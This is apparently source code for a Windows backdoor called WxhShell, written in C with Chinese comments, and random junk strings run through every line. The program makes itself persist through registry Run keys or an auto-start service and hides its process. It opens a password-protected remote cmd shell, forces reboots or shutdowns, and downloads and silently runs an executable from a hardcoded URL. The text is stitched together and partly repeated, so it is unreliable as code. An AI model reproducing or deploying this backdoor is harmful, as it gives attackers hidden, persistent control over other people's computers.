static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OYxYlUq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jw=7eay$F &x B^ HANDLE hProcess; g?|Z/eVJ PROCESS_BASIC_INFORMATION pbi; @C^x&Sjm e}-fGtFx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 66-\}8f8a if(NULL == hInst ) return 0; y$nI?:d O13]H"O_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *jQ$\|Y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <V}q8k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lj|wFV -rYb{<;ST if (!NtQueryInformationProcess) return 0; L<oQKe7Q: T~$Eh6
D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _'Jjt9@S if(!hProcess) return 0; L|<j/bP b 1.S21 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [z\baL| &,8Qe; CloseHandle(hProcess); WI| -pzg ,_H H8[& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ah<p_qe9| if(hProcess==NULL) return 0; %m/lPL Zgp9Uu}" HMODULE hMod; a_/4 ^+ char procName[255]; doTbol?+ unsigned long cbNeeded; &c"!Y)%G !4#qaH-Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &/Gn!J;1 l'Za"TL: CloseHandle(hProcess); jmgkY)rb R )c*xKij if(strstr(procName,"services")) return 1; // 以服务启动 qT$ IV\;_ yogL8V-^4 return 0; // 注册表启动 *w.":\P] } ,]ySBAO \"RCJadK // 主模块 ^HR8.9^[1u int StartWxhshell(LPSTR lpCmdLine) M]k Q{( { xMQ>,nZ SOCKET wsl; -1B. A BOOL val=TRUE; 6ERMn"[_w int port=0; #wT6IU1 struct sockaddr_in door; x&J\ swN9 KwMt@1Z if(wscfg.ws_autoins) Install(); Fhllqh) y@$E5sz port=atoi(lpCmdLine); l="X|t dHiir&Rd9` if(port<=0) port=wscfg.ws_port; LKI\(%ba# ,<K+.7,)E WSADATA data; ZY7-. if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %E#Ubm! b==jlYa= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qov<@FvE0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T=~d.&J door.sin_family = AF_INET; /N%i6t<xU door.sin_addr.s_addr = inet_addr("127.0.0.1"); RLL
ph door.sin_port = htons(port); gCsN\z 6
%aaK|0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
B*}]' closesocket(wsl); VHqoa>U,* return 1; 7neJV } ct|0zl~ {*n<A{$[
m if(listen(wsl,2) == INVALID_SOCKET) { [G|(E closesocket(wsl); B%u[gNZ return 1; +J{ErsG?6P } 1E||ft-1i* Wxhshell(wsl); XRkUv>Yk WSACleanup(); q,#s m'S f{L;, return 0; SXl~lYUL Q_fgpjEh/t } 6Hb a@Q1` z__t8yc3 // 以NT服务方式启动 PN9vg9' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E=,b;S- { Oprfp^L DWORD status = 0; *szs"mQ/ DWORD specificError = 0xfffffff; SX'NFdY h*JN0O<b serviceStatus.dwServiceType = SERVICE_WIN32; W3Ee3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; S9$,.aq serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3)CIqN serviceStatus.dwWin32ExitCode = 0; aynaV serviceStatus.dwServiceSpecificExitCode = 0; E<! L^A
M` serviceStatus.dwCheckPoint = 0; i Pr(X serviceStatus.dwWaitHint = 0; VfJ{);
A9SL|9Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n2-+.9cY if (hServiceStatusHandle==0) return; ami>Pp OW=3t#"7Kp status = GetLastError(); g8'8"9:xC if (status!=NO_ERROR) "]p&7 { DFZ@q=ZT serviceStatus.dwCurrentState = SERVICE_STOPPED; w0nbL^f serviceStatus.dwCheckPoint = 0; }m?Ut| serviceStatus.dwWaitHint = 0; ^|vk^`S serviceStatus.dwWin32ExitCode = status; iJ*Wsp serviceStatus.dwServiceSpecificExitCode = specificError; a]P%Y.?r SetServiceStatus(hServiceStatusHandle, &serviceStatus); $$0<
& return; DC> R } RJ0,7E<B Yz[Rl
^ serviceStatus.dwCurrentState = SERVICE_RUNNING; _8K8Ai-~.> serviceStatus.dwCheckPoint = 0; JBw2#ry serviceStatus.dwWaitHint = 0; Nlm}'Xt if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lU=VCuW! } [];wP'* '>1M~B // 处理NT服务事件,比如:启动、停止 Z)~?foe' VOID WINAPI NTServiceHandler(DWORD fdwControl) OOIp)=4 { K\ B!tk switch(fdwControl) :O@n6%pSL { (JdheCq!x case SERVICE_CONTROL_STOP: y_W?7S serviceStatus.dwWin32ExitCode = 0; (DvGA I serviceStatus.dwCurrentState = SERVICE_STOPPED; NRG~ya > serviceStatus.dwCheckPoint = 0; ?xMTO serviceStatus.dwWaitHint = 0; !.V_?aYi8 { gU&+^e > SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2<n18-|OQ } OPq|4xu return; ,-EN{ed case SERVICE_CONTROL_PAUSE: Brs} serviceStatus.dwCurrentState = SERVICE_PAUSED; >m%TUQ#% break; 't8!.k case SERVICE_CONTROL_CONTINUE: RaTNA W)v> serviceStatus.dwCurrentState = SERVICE_RUNNING; NW0se
DL break; 3"0QW4A case SERVICE_CONTROL_INTERROGATE: b0h\l#6 break;
7|dm"%@ }; U,yZ.1V^: SetServiceStatus(hServiceStatusHandle, &serviceStatus); }0H<G0 } mM/#(Ghl _'V o3b // 标准应用程序主函数 # Dgkl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yRyRH%p) { pcOi%D,o AriV4 + // 获取操作系统版本 _O87[F1 OsIsNt=GetOsVer(); `hG`}G|^ GetModuleFileName(NULL,ExeFile,MAX_PATH); rs>,p) g]44|9x(W // 从命令行安装 !U(S?:hvW if(strpbrk(lpCmdLine,"iI")) Install(); }2BNy9q@ d@*dbECG // 下载执行文件 +N,Fq/x if(wscfg.ws_downexe) { RDQ]_wsyKG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zn= pm#L WinExec(wscfg.ws_filenam,SW_HIDE); t W } s2N'Ip q2*)e/}H if(!OsIsNt) { ]!P6Z? // 如果时win9x,隐藏进程并且设置为注册表启动 tZ@&di:-F HideProc(); hTby:$aCg StartWxhshell(lpCmdLine); J'=s25OWU } c; .y else ]moBVRd if(StartFromService()) p\'X%R // 以服务方式启动 qa~ju\jm. StartServiceCtrlDispatcher(DispatchTable); /#_[{lSr? else r
SoT]6/ // 普通方式启动 }/NjZ*u StartWxhshell(lpCmdLine); p.4Sgeh# ^HP$r* return 0; MGwXZ7?E } t*BCpC} 30Q77,Nsny g .:ZMV H)*%e G~ =========================================== 60>g{1] # vy[v22 &2@Rc?!6_P ;Cx`RF
w ~^Ga?Q_ >c:nr&yP " HH(2 &V&beq4)p #include <stdio.h> 7{S;~VH3 #include <string.h> 'S
v
V10$5 #include <windows.h> ~k
6V?z} #include <winsock2.h> Ug gg!zA #include <winsvc.h> id`9,IJx #include <urlmon.h> v)K|{x #gf0*:p #pragma comment (lib, "Ws2_32.lib") oM#+Z
qP #pragma comment (lib, "urlmon.lib") u,YmCEd_V ~$
?85 #define MAX_USER 100 // 最大客户端连接数 <Z~Nz>'r #define BUF_SOCK 200 // sock buffer #>5T,[{?j #define KEY_BUFF 255 // 输入 buffer 4_CXs.v1 UY.o,I>s #define REBOOT 0 // 重启 |P9)*~\5 #define SHUTDOWN 1 // 关机 @frV:% O py{i#> #define DEF_PORT 5000 // 监听端口 )&)tX. W Kd:O)J #define REG_LEN 16 // 注册表键长度 5V0#_!QAN #define SVC_LEN 80 // NT服务名长度 mSFA i -=1>t3~\ // 从dll定义API r:U<cLT[9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mv*M2NuhT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ve"M8-{oKk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] TZ/=Id typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (h@~0S *a(GG // wxhshell配置信息 [Q8vS ;. struct WSCFG { G&6`?1k int ws_port; // 监听端口 /W}"/W9 char ws_passstr[REG_LEN]; // 口令 ~ me/ve int ws_autoins; // 安装标记, 1=yes 0=no JkLpoe81 char ws_regname[REG_LEN]; // 注册表键名 yzNDXA. char ws_svcname[REG_LEN]; // 服务名 yWH!v]S char ws_svcdisp[SVC_LEN]; // 服务显示名 U?:?NC=1{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 FB~IO#E8W char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G)3r[C^[k int ws_downexe; // 下载执行标记, 1=yes 0=no ?FZ)
LZM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mI^S% HT char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e]:(.Wb- 9 A4L.bBl }; >v/%R~BuX UD2l!)rW // default Wxhshell configuration z=rSb4"W struct WSCFG wscfg={DEF_PORT, >dDcm "xuhuanlingzhe", P!&yYR\ 1, Ci3
b(KR "Wxhshell", 7$L*nf "Wxhshell", E|VTbEYG "WxhShell Service", 8*]dAft "Wrsky Windows CmdShell Service", lb}:!Y "Please Input Your Password: ", Djp;\.$( 1, gPpk0LZi "http://www.wrsky.com/wxhshell.exe", RS{E| "Wxhshell.exe" 3XUie;*` }; }?U
#@ h j#VR>0oC]\ // 消息定义模块 ]e?L,1- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Bd6<F-G char *msg_ws_prompt="\n\r? for help\n\r#>"; 9.Sv"=5gz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /EZ - char *msg_ws_ext="\n\rExit."; fhki!# E8M char *msg_ws_end="\n\rQuit."; 91FVe char *msg_ws_boot="\n\rReboot..."; QA~Lm char *msg_ws_poff="\n\rShutdown..."; wI[J> 9Qn char *msg_ws_down="\n\rSave to "; z Hl+P*) KM
oDcAjH char *msg_ws_err="\n\rErr!"; zK: 2.4 char *msg_ws_ok="\n\rOK!"; 6ZC~q=my \%#luk@: char ExeFile[MAX_PATH]; Oh7wyQiV int nUser = 0; Gfle"_4m8 HANDLE handles[MAX_USER]; .7Itbp6=R int OsIsNt; qi1#s, X'7MW?
q@ SERVICE_STATUS serviceStatus; Q6PMRG}/o SERVICE_STATUS_HANDLE hServiceStatusHandle; P`n"E8"ab< 55Ye7P-d // 函数声明 -wnBdL int Install(void); PW*[(VX int Uninstall(void); 2$joM`j$ int DownloadFile(char *sURL, SOCKET wsh); ZP4y35&%y int Boot(int flag); rWuqlx# void HideProc(void); 1z8fhE iiE int GetOsVer(void); l27J int Wxhshell(SOCKET wsl); Lyjp void TalkWithClient(void *cs); -
SCFWc int CmdShell(SOCKET sock); Ec!R3+ int StartFromService(void); @.v{hkM` int StartWxhshell(LPSTR lpCmdLine); ].N%A07 [ldx_+xa:E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 69``j{Z+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gwfi 'R n\CMTH // 数据结构和表定义 &c81q2 SERVICE_TABLE_ENTRY DispatchTable[] = idZ]d6 { %wmbFj} {wscfg.ws_svcname, NTServiceMain}, 9+frxD&pO {NULL, NULL} u< 5{H='6 }; ?Aky!43 ue!wo-|#G // 自我安装 Q~)A
fa{ int Install(void) 'u%SI]*;> { '&iAPc4= char svExeFile[MAX_PATH]; ']>/$[! HKEY key; xbze{9n" strcpy(svExeFile,ExeFile); :h<QM$P< ju/#V}N // 如果是win9x系统,修改注册表设为自启动 "l-b(8n if(!OsIsNt) { T:w %RF[v9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5G WC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [mG:PTK3 RegCloseKey(key); ' "o2;J)7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 24d{ol) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Yzb6@g" RegCloseKey(key); I- WR6s= return 0; x1 1ug } W&9X <c* } l|
QQ } PA${<wyBR_ else { +C`zI~8 R"{oj]d;$F // 如果是NT以上系统,安装为系统服务 ,) 3Eog\- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0d #jiG if (schSCManager!=0) EceD\}
{ A@
4Oq SC_HANDLE schService = CreateService Qr*7bE(a ( +bcJm schSCManager, ^$J.l+<hy wscfg.ws_svcname, Ku] <$uo wscfg.ws_svcdisp, 95BRZ!ts SERVICE_ALL_ACCESS, xayd_RB 9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :@sjOY SERVICE_AUTO_START, TM`6:5ONv SERVICE_ERROR_NORMAL, w?A6S-z svExeFile, p!p:LSk"/b NULL, ,Zs*07!$f NULL, 4k=LVu]Kcr NULL, 43o!Vr/S NULL, 6vebGf NULL xw~&OF& ); e4Jx%v?_P if (schService!=0) FDIOST ! { Gbc2\A\ CloseServiceHandle(schService); 0D^c4[Y'l CloseServiceHandle(schSCManager); 2g_2$)2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `EzC'e strcat(svExeFile,wscfg.ws_svcname); {~~' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iea7*]vW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (&-!l2 RegCloseKey(key); ]s^Pw>/` return 0; t,R4q* } Q`[J3-Q*{ } Mp`i@pm+ CloseServiceHandle(schSCManager); ($^=f }+ } pwr]lV$w } 5s=L5]]r_j s%S; 9T return 1; 'jd fUB } C;oT0( 'n4
iW // 自我卸载 `ouCQ]tKz int Uninstall(void) Nd61ns(N { 5vqh09-FB HKEY key; >Gi*BB }1pG0V4 if(!OsIsNt) { #)EVi7UP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j\@osjUu RegDeleteValue(key,wscfg.ws_regname); 'mU7N<Q$qQ RegCloseKey(key); ,L9ioYbp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C:<TJ RegDeleteValue(key,wscfg.ws_regname); }|(v0] RegCloseKey(key); X,i^OM_ return 0; 2sNV09id } ($*R>*6<x } VW *d*! } n~G-X
else { A&($X)t Qwu~{tf+' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 137:T: if (schSCManager!=0) 7q|51rZz { 8d*W7>rq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jp P'{mc if (schService!=0) ?cD2EX%( { r@]iy78
j if(DeleteService(schService)!=0) { EiWsVic[ CloseServiceHandle(schService); kESnlmy@J CloseServiceHandle(schSCManager); 2vx1M6a)L return 0; ! )PV-[2 } AWn$od`#s
CloseServiceHandle(schService); 4]%v%64U } +JRPd.B"@ CloseServiceHandle(schSCManager); -mAi7[omh } N2Q%/}+, } |sklY0?l( oBZzMTPe return 1; i4^1bd } -|nHwSrCZ/ Iji9N!Yx // 从指定url下载文件 =P\Tk)(` int DownloadFile(char *sURL, SOCKET wsh) kMY1Xb { [ _wenlkm HRESULT hr; "`8~qZ7k char seps[]= "/"; ?wYvBFRn7" char *token; K1*]6x, char *file; 3lD1G~ char myURL[MAX_PATH]; |\_d^U&` char myFILE[MAX_PATH]; :ZP`Y%dt' ^TCgSi7k`L strcpy(myURL,sURL); qJPEq%'Q token=strtok(myURL,seps); w.6 Gp;O while(token!=NULL) z]O,Vqpl? { QpC,komLJ file=token; .cA'6J"Bm\ token=strtok(NULL,seps); ;E]^7T } GtSvb6UNn >xJh!w<pB GetCurrentDirectory(MAX_PATH,myFILE); w,v~ strcat(myFILE, "\\"); 9$oU6#U,h strcat(myFILE, file); +1Ua`3dWN_ send(wsh,myFILE,strlen(myFILE),0); pX v@QD#! send(wsh,"...",3,0); t
(>} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &S|%>C{P.w if(hr==S_OK) XDcA&cM}p return 0; EAi!"NJ else tWN hFQ' return 1; $wx)/t< wEJ) h1=)^ } s`Z'5J;S v<c@bDZ> // 系统电源模块 22gk1'~dO int Boot(int flag) .S=^) { qe"t0w|U? HANDLE hToken; 7G<v<& TOKEN_PRIVILEGES tkp; 3'D<'S}[ ~Dz`O"X3 if(OsIsNt) { FSn&N2[D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3A>Bnb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <qpDAz4k tkp.PrivilegeCount = 1; ap[{`u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j9G1
_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GN%|'eU if(flag==REBOOT) { Gcz@z1a=n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a= *qsgPGL return 0; .uGvmD<;x } 3Sb'){.MT+ else { q" aUA_}\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2IGoAt>V return 0; X[{tD# } cun&'JOH?U } [ijK~ else { /degBL+ if(flag==REBOOT) { UZ` <D/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +^\TG>le return 0; .3JLa8y } t'pY~a9F else { ]&mN~$+C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uO,9h0y0W return 0;
E,nxv+AQ } q;<=MO/ } cB ,l=/? vm
y?8E6+ return 1; bb]r }
l,n
V*Z bXw!fYm& // win9x进程隐藏模块 [~[)C]-= void HideProc(void) QSxR@hC { 3w-0IP]< $V0G[!4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bl"BmUn if ( hKernel != NULL ) tin5.N)"z { ra4$/@3n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7\?0d! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iE;D_m.>`O FreeLibrary(hKernel);
!8V } yK3b^ 6|-V{ return; RMfKM!
vE } )=vQrMyB 'q_^28rK // 获取操作系统版本 bI_T\Eft int GetOsVer(void) R
rtr\a { yD-L:)@" OSVERSIONINFO winfo; C=&rPUX{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UHh7x%$n GetVersionEx(&winfo); ipThwp9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BS_ 3| return 1; AJ0
;wx else ^DWvzfj return 0; g$N/pg2>cT } [10y 13 6|Qg=4_FHt // 客户端句柄模块 bz1+AJG int Wxhshell(SOCKET wsl) ZHWxU { ZVin+ z SOCKET wsh; +6$ |No struct sockaddr_in client; ls928 DWORD myID; |v6kZ0B< 3m#/1=@o while(nUser<MAX_USER) aA|<W
g { XJ3p< int nSize=sizeof(client); $k,wA8OZ- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A./VO if(wsh==INVALID_SOCKET) return 1; `v|w&ty* 1ab_^P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,_N+t:*#0 if(handles[nUser]==0) pmIOV~K closesocket(wsh); {|E' else 7^2 nUser++; O_kBAC-|R( } 26&$vgO~: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oE
H""Bd 9[5qN!P;y return 0; jgW-&nK! } vo]!IY `;7eu= // 关闭 socket 6Bop8B void CloseIt(SOCKET wsh) `u't { ~fV\
X* closesocket(wsh); ^]cl:m=* nUser--; =,])xzG% ExitThread(0); T{"[Ih3Mbl } KqD]GS#( Oe/&Ryj=mm // 客户端请求句柄 g"dq;H void TalkWithClient(void *cs) hp$/O4fD { .yF@Ow cOq'MDr SOCKET wsh=(SOCKET)cs; 0'3f^Ajf char pwd[SVC_LEN]; &&daQg4Ha char cmd[KEY_BUFF]; 0{q>'dv char chr[1]; @BfJb[A# int i,j; +&*D7A>~p ILU7Yhk while (nUser < MAX_USER) { S <RbC n?[JPG2X if(wscfg.ws_passstr) { Mxmo}tt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ev'` K=n8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V 4` //ZeroMemory(pwd,KEY_BUFF); 5{"v/nXV i=0; XYh)59oM% while(i<SVC_LEN) { x* 9 Xu"? J\@W+/#dF // 设置超时 ^vHh*Ub fd_set FdRead; MP3Vo|}3 struct timeval TimeOut; 6/5Xy69:h FD_ZERO(&FdRead); $0mR_pA\fW FD_SET(wsh,&FdRead); .DX-biX, TimeOut.tv_sec=8; x@)G@'vV| TimeOut.tv_usec=0; JH|]B|3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @7? O#WmL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Xt.ca,`U #hZ`r5GvTj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E-`3}"{ pwd=chr[0]; vH?rln if(chr[0]==0xd || chr[0]==0xa) { j&Trvw<t pwd=0; 3n!f'" T break; q?*
z<)# } 1
O?bT,"b i++; QhJuH_f 0 } B4Fuvi J85S'cwZZ // 如果是非法用户,关闭 socket 0Xw$l3@N^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T2ZB(B D } Dx5X6 t9= +e87/\5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4aGVIQ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $VxKv7: GiK4LJ~cH) while(1) { E~y(@72) Vm*E^ v ZeroMemory(cmd,KEY_BUFF); >lV'}0u) Nrn_Gy>|D // 自动支持客户端 telnet标准 ;Zy[2M j=0; _qO'(DKylC while(j<KEY_BUFF) { Tpd|+60g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qI%X/' cmd[j]=chr[0]; Z_h-5VU- if(chr[0]==0xa || chr[0]==0xd) { j2RdBoCt cmd[j]=0; 0sA+5*mdM break; 0g`$Dap } p>l:^-N;f j++; :OFs"bC } PWBcK_4i% KDS}"/ // 下载文件 j>`-BN_ if(strstr(cmd,"http://")) { ~Jh1$O,9o send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3OB=D{$V if(DownloadFile(cmd,wsh)) G`Df'Yy send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(A
$WT@e else YvG=P<_xw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nl'@Y^8N } 7|PB6h3 else { +^DDWVp }n( ?| switch(cmd[0]) { ;Rljx3!N ntntB{t // 帮助 ,
.E> case '?': { E1`TQA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b+CJRB1 break; lc$wjK[w[ } "WzKJwFr // 安装 ubv>*iO case 'i': { Y$5uoq%p3A if(Install()) rS!M0Hq>t send(wsh,msg_ws_err,strlen(msg_ws_err),0); a*&(cn else q5G`q&O5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v1rTl5H break; v`@NwH<r } /Nkxb& // 卸载 *M^<oG case 'r': { b_X&>^4Dkl if(Uninstall()) `W:z#uNG] send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~1&WR`U else FeZ*c~q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Za,myuI+ break; \ZA@r|=$ } L54]l^ls> // 显示 wxhshell 所在路径 j5wfqi case 'p': { b Rc,Y< char svExeFile[MAX_PATH]; n?778Wo} strcpy(svExeFile,"\n\r"); _G&gF.| strcat(svExeFile,ExeFile); jU-aa+ send(wsh,svExeFile,strlen(svExeFile),0); %Gl1Qi+Po_ break; PIAE6,* } nMK$&h,{ // 重启 k1.%ZZMM case 'b': { c'>_JlG~ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x"n++j if(Boot(REBOOT)) & 'CUc/, send(wsh,msg_ws_err,strlen(msg_ws_err),0);
O7CW#F else { *M)M!jTv closesocket(wsh); }K5okxio ExitThread(0); I^n DO\m < } f92z/5%V break; S1[, al } = N;5T // 关机 R nwFxFIQ case 'd': { ]q~bi<E9W send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n@L@pgo%~ if(Boot(SHUTDOWN)) U\u07^h[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ez5J+ else { tpblm|sW closesocket(wsh); t#xfso`4o ExitThread(0); ~yt 7L,OQ } `^] D;RfE break; @C<ofg3E } *4e?y // 获取shell \1SC:gN*# case 's': { i),bAU!+m CmdShell(wsh); ap8q`a{j^ closesocket(wsh); 4l7
Ny\J ExitThread(0); zn>+\ break; wBvVY3VQ^
} ZS%W/.? // 退出 ;{aGEOP'U case 'x': { `U=Jbdc l3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $H)QUFyC CloseIt(wsh); Vm[F~2+HX break; *NG\3%}%|@ } b50mMWtG // 离开 2e-`V5{)b case 'q': { x0b=r!Duu send(wsh,msg_ws_end,strlen(msg_ws_end),0); zO---}[9a closesocket(wsh); h5rR44 WSACleanup(); ?%[~J exit(1); r
^\(M
{ break; "X^<g{] } fZj,Q#}D } L$i:~6 } *:Rs\QH
[}M!ez // 提示信息 q-+:1E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $4^SWT. } %ioVNbrR7 } S@Rd>4 KzP{bK5/ return; -|Zzs4bx } ALy7D*Z]w .9J}Z^FD // shell模块句柄 Q`W2\Kod] int CmdShell(SOCKET sock) 2lO(f+ { $~iZ aX8& STARTUPINFO si; zPc"r$'0U ZeroMemory(&si,sizeof(si)); x+j@YWDpG" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; */l;e<E si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Iqy"MQuq PROCESS_INFORMATION ProcessInfo; pr,,E[ char cmdline[]="cmd"; )AxD|A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I/XSW # return 0; p20JUzy } v7SYWO# 1*yxSU@uY // 自身启动模式 Q3(ulgl] int StartFromService(void) @,n)1*{P { I8YUq typedef struct &
Wod { *g,ls(r\[ DWORD ExitStatus; \yu7,v DWORD PebBaseAddress; 1C8xJ 6F DWORD AffinityMask; n."n?C'{ DWORD BasePriority; _
,s^ ULONG UniqueProcessId; GdcXU:J / ULONG InheritedFromUniqueProcessId; >x JzV } PROCESS_BASIC_INFORMATION; ~1%*w* IJ&Lk=2E] PROCNTQSIP NtQueryInformationProcess; W-l+%T! xa@$cxt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @<{%r static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B=r DU$z ^hiY6N & HANDLE hProcess; K<wFr-z
PROCESS_BASIC_INFORMATION pbi; |~e"i<G# l)vC=V6MG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %+=;4tHJ if(NULL == hInst ) return 0; *qm|A{FQR CYLab5A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N.vWZ7l8 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zXx/\B$&d* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lo%vG{yTr -dixiJ= if (!NtQueryInformationProcess) return 0; s`_EkFw>Gl h/t;ZLUAZP hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rey+3*zUb if(!hProcess) return 0; `z\hQ%1!F . s9E
+1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A{
